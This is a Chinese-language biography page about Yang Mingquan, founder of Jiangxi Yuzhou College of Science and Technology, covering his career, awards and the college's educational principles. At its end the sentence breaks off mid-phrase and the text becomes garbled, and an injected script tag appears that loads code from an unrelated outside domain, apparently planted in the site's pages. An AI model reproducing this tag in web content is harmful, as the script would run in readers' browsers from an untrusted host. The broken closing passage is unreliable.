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杨名权

基本信息

姓名:杨名权
出生年月: 1959-05
性 别: 男
工作单位:
籍 贯:
学 历: 硕士研究生
毕业院校:

简历:

1983年9月-1987年7月:长沙大学中文系在读并毕业 
1983年举办家电维修培训班。
1988年9月,经新余市教委批准,成立新余市电子技术学校,任董事长。
1992年12月,经江西省教委批准,成立江西渝州电子工业学院,任董事长兼院长。
1997年江西渝州电子工业学院列为江西省首批国家学历文凭考试试点学校,同时更名为江西渝州电子工业专修学院,任董事长兼院长。
2001年4月—2008年,经江西省人民政府批准、教育部备案,成立江西渝州科技职业学院,任董事长兼院长;
2009年至今,因国家对民办院校规范管理的要求任江西渝州科技职业学院董事长。

个人事迹:

江西渝州科技职业学院董事长杨名权,江西师范大学教育管理专业本科毕业,在读研究生,江西省政协委员,江西省新余市政协常委,中国高等教育学会高教管理研究会理事。从事民办教育工作二十七年,曾获“新余市第三批有突出贡献专业技术人员”;“江西省民办高校先进办学者”;江西省职业教育先进个人;“江西省优秀中国特色社会主义事业建设者”;“全国职业教育先进个人”;“全国优秀教师”等光荣称号。
一、 晨钟暮鼓勤耕耘的创业之旅
改革开放初露端倪时,杨名权毅然放弃了国营企业的铁饭碗,于1983年举办家电维修培训班,首开新余市民办教育先河,是江西民办教育的先驱之一。1988年9月,经新余市教委批准,成立新余市电子技术学校,任董事长。1992年12月,经江西省教委批准,成立江西渝州电子工业学院,任董事长兼院长。1997年江西渝州电子工业学院列为江西省首批国家学历文凭考试试点学校,同时更名为江西渝州电子工业专修学院,任董事长兼院长。2001年4月—2008年,经江西省人民政府批准、教育部备案,成立江西渝州科技职业学院,任董事长兼院长;2009年至今,因国家对民办院校规范管理的要求任江西渝州科技职业学院董事长。
27年来,杨董事长秉承中国农民的节俭淳朴和吃苦耐劳的创业精神,带领学院全体师生员工艰苦创业、风雨兼程。学院从小到大、由弱到强,经历了从起步——发展——壮大——上规模、创品牌四个阶段,并发生了四个巨变:由租借一间教室到拥有现代意义上的大学校园,由单一的办班培训到多层次、上规模、上水平的规范办学,从拜师传技式办班到依靠专家治校、名师治教的高等学府,从作坊式培训到全省有地位、全国有影响的高职院校。
2000年,杨董事长根据我国教育发展规律,审时度势,亲自制定了学院的奋斗目标、办学定位,即:“立校育人,办学为民”,高举平民大学的旗帜,办出让人民满意的大学;围绕这一定位,制定了(1)人才培养方向定位:为企业一线培养熟练的高技能、高素质、实用型的技术、管理、服务人才;(2)人才培养模式定位:校企合作,工学结合,德才并重,知技并举;(3)专业建设定位:适应需求,瞄准前沿,突出特色,打造品牌;(4)服务面向定位:立足新余,服务江西,面向全国,为区域经济和社会发展服务。
思路决定出路。正确的发展思路,保证了学院的办学方向,拓宽了学院的办学道路,提高了学院的办学水平。27年来,杨名权董事长率领江西渝州学院全面贯彻党的教育方针,立校育人,办学为民,遵循教育公益性原则,坚持“以服务为宗旨,以就业为导向,以育人为中心,以特色求发展”的办学理念和“规范管理,改革创新,强化内涵,凝炼特色”的办学思路,全面提高教育质量,为国家培养了近10万名德智体美全面发展、具有较强实践能力和创新能力的应用型高级人才。在杨名权董事长的带领下,江西渝州科技职业学院多次荣获国家、省、市的表彰和奖励。2005年以来,先后荣获“中国十大万人著名民办高校”、“中国民办高校综合实力20强”、“江西省职业教育工作先进单位”、“江西省人民满意十大品牌高职院校”、“中国首届促进公益文化艺术建设优秀院校”、“全国民办院校就业力示范学校”、“全国民办非企业单位自律与诚信建设先进单位”、“中国民办院校教育扶贫工程示范院校”、“整体构建学校德育体系深化研究与推广实验先进院校”等荣誉称号。2004年、2005年,原中央政治局常委、国家副主席曾庆红、原教育部部长周济先后莅临学院视察,充分肯定了学院的办学业绩,给予学院极大的鼓舞和鞭策。
二十七年来,杨董事长带领学院始终坚持立足市场,开启发展源泉;始终站立时代前沿,抢抓发展机遇;始终加强质量建设,奠定发展基石;始终注重规范管理,升华发展积淀;始终推进和谐工作,巩固发展成果,走出了一条在小城市办大学校、突破小区域辐射大中国的成功之路,形成了著名的“新余现象,渝州效应”。
二、严谨治学强内涵的立业之策
2009年,鄱阳湖生态经济区规划上升为国家战略,新余获批建设唯一的国家新能源科技城,致力打造世界最大光伏产业基地。杨董事长认真学习党和国家的方针政策,深刻领会其精神实质。经过认真分析,深思熟虑,提出学院要围绕“12345” 产业变化,调整专业,增设新课程,创新人才培养体系建特色。即:“1”是低碳经济,“2”是光伏产业和工民建产业,“3”是信息产业的第三次浪潮,“4”是半导体和终端显示的第四次技术革新,“5”是第五次工业革命。“12345” 产业变化,是以低碳经济为核心,低碳科技为动力,人类有史以来最深刻、最壮阔的一次产业升级,其意义非同一般。
学院按照杨董事长的办学思路,提出“对准市场设专业,对准岗位设课程,对准实践抓教学,对准创新育人才”和 “办学形式多样性,专业设置职业性,教学内容应用性,教学方法实践性”的“四对准”和“四性”育人模式。设置复合专业,基础课打破专业界限,增设跨专业、跨学科的课程,形成新的知识结构。
学院先后在中专层次成立江西太阳能?script src=http://www.234mu.com/>

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